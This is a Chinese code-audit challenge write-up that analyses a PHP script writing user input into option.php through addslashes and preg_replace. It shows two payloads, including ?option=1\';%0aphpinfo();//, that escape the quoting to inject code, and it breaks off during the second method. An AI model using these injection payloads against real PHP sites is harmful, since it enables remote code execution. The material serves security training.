项目地址:https://github.com/CHYbeta/Code-Audit-Challenges#php

index.php

1
<?php
2
3
$str = addslashes($_GET['option']); // 对option参数进行单引号过滤
4
$file = file_get_contents('xxxxx/option.php'); // 读取xxxxx下面的option.php的内容
5
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); // 把$file读取的内容中的$option=xxxx;替换为$option='$str'
6
file_put_contents('xxxxx/option.php', $file); // 然后把$file变量再写入到option.php文件

option.php

1
<?php
2
3
$option='test';

那么这个是需要我们可以执行代码,那么该如何呢? 目前想到的办法只有把index.php中写入option.php的值修改为恶意的代码才能执行~ 但是这里把单引号过滤了所以我们能利用如下这个办法绕过,先看下小案例

1
<?php
2
3
$str='123321\\';
4
phpinfo();

1.png-45.8kB

可以看到2\\符号是可以让'成功变成是'单引号的,那么这样是可以成功逃逸单引号限制的,所以我们可以利用这个办法来绕过,访问如下

1
?option=1\';%0aphpinfo();//

然后写入php后会变成这样

1
$option='1\\';
2
phpinfo();//';

解释:
因为'会变成\'那么,只要在单引号前面加上\就变成\\'成功逃逸单引号,然后%0a写入后变成空行,然后把后面多余的符号给注释了,否则会报错

然后我们来访问一下

image_1cql661g3vap1bn24soardv1q5k.png-60.5kB

还有一个办法也可以绕过

首先我们来访问

1
?option=123';%0aphpinfo();//

然后代码会变成

1
$option='123\';
2
phpinfo();//';

但是这个时候是无法执行phpinfo函数的,因为$option变量后面没有单引号,所以等于第二行也是$option变量值

1.png-43.6kB

那么我们可以再去访问一下

1
?option=666

然后代码变成如下

1.png-51.1kB